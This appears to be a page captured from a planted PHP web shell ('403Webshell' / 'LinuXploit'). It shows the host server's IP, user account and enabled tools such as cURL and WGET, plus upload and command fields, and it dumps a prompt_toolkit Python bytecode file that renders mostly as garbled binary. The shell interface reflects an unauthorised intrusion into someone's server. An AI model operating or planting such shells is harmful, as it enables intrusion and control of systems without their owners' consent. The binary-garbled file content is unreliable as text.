403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/prompt_toolkit/eventloop/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/prompt_toolkit/eventloop/__pycache__/win32.cpython-311.pyc
�

�Ïc�����ddlZejdksJ�ddlmZddlmZesddlmZddlmZm	Z	m
Z
ddlmZm
Z
dd	lmZd
dgZdZd
Zefdee
dede
e
fd�Zde
fd�ZdS)�N�win32)�pointer�)�SPHINX_AUTODOC_RUNNING)�windll)�BOOL�DWORD�HANDLE)�List�Optional)�SECURITY_ATTRIBUTES�wait_for_handles�create_win32_eventi����handles�timeout�returnc��tt|��z}||�}tj�t|��|td��t
|����}|tkrdS||S)a�
    Waits for multiple handles. (Similar to 'select') Returns the handle which is ready.
    Returns `None` on timeout.
    http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx

    Note that handles should be a list of `HANDLE` objects, not integers. See
    this comment in the patch by @quark-zju for the reason why:

        ''' Make sure HANDLE on Windows has a correct size

        Previously, the type of various HANDLEs are native Python integer
        types. The ctypes library will treat them as 4-byte integer when used
        in function arguments. On 64-bit Windows, HANDLE is 8-byte and usually
        a small integer. Depending on whether the extra 4 bytes are zero-ed out
        or not, things can happen to work, or break. '''

    This function returns either `None` or one of the given `HANDLE` objects.
    (The return value can be tested with the `is` operator.)
    FN)r
�lenr�kernel32�WaitForMultipleObjectsrr	�WAIT_TIMEOUT)rr�arrtype�handle_array�rets     �@/usr/lib/python3/dist-packages/prompt_toolkit/eventloop/win32.pyrrsp��,�s�7�|�|�#�G��7�G�$�L���5�5��L���<��e���e�G�n�n���C��l����t��s�|��c	���ttj�t	t����t
d��t
d��d����S)z|
    Creates a Win32 unnamed Event .
    http://msdn.microsoft.com/en-us/library/windows/desktop/ms682396(v=vs.85).aspx
    TFN)r
rr�CreateEventArr
r�rrrr=sR��
���$�$��'�)�)�*�*���J�J���K�K��		
�	
���r)�sys�platform�ctypesr�utilsrr�ctypes.wintypesrr	r
�typingrr�prompt_toolkit.win32_typesr
�__all__r�INFINITE�intrrr rr�<module>r+s%��
�
�
�
�
�|�w�����������*�*�*�*�*�*���������/�/�/�/�/�/�/�/�/�/�!�!�!�!�!�!�!�!�:�:�:�:�:�:��3�
4����
��+3� � �
�&�\� �$'� �
�f�� � � � �F�F������r

Youez - 2016 - github.com/yon3zu
LinuXploit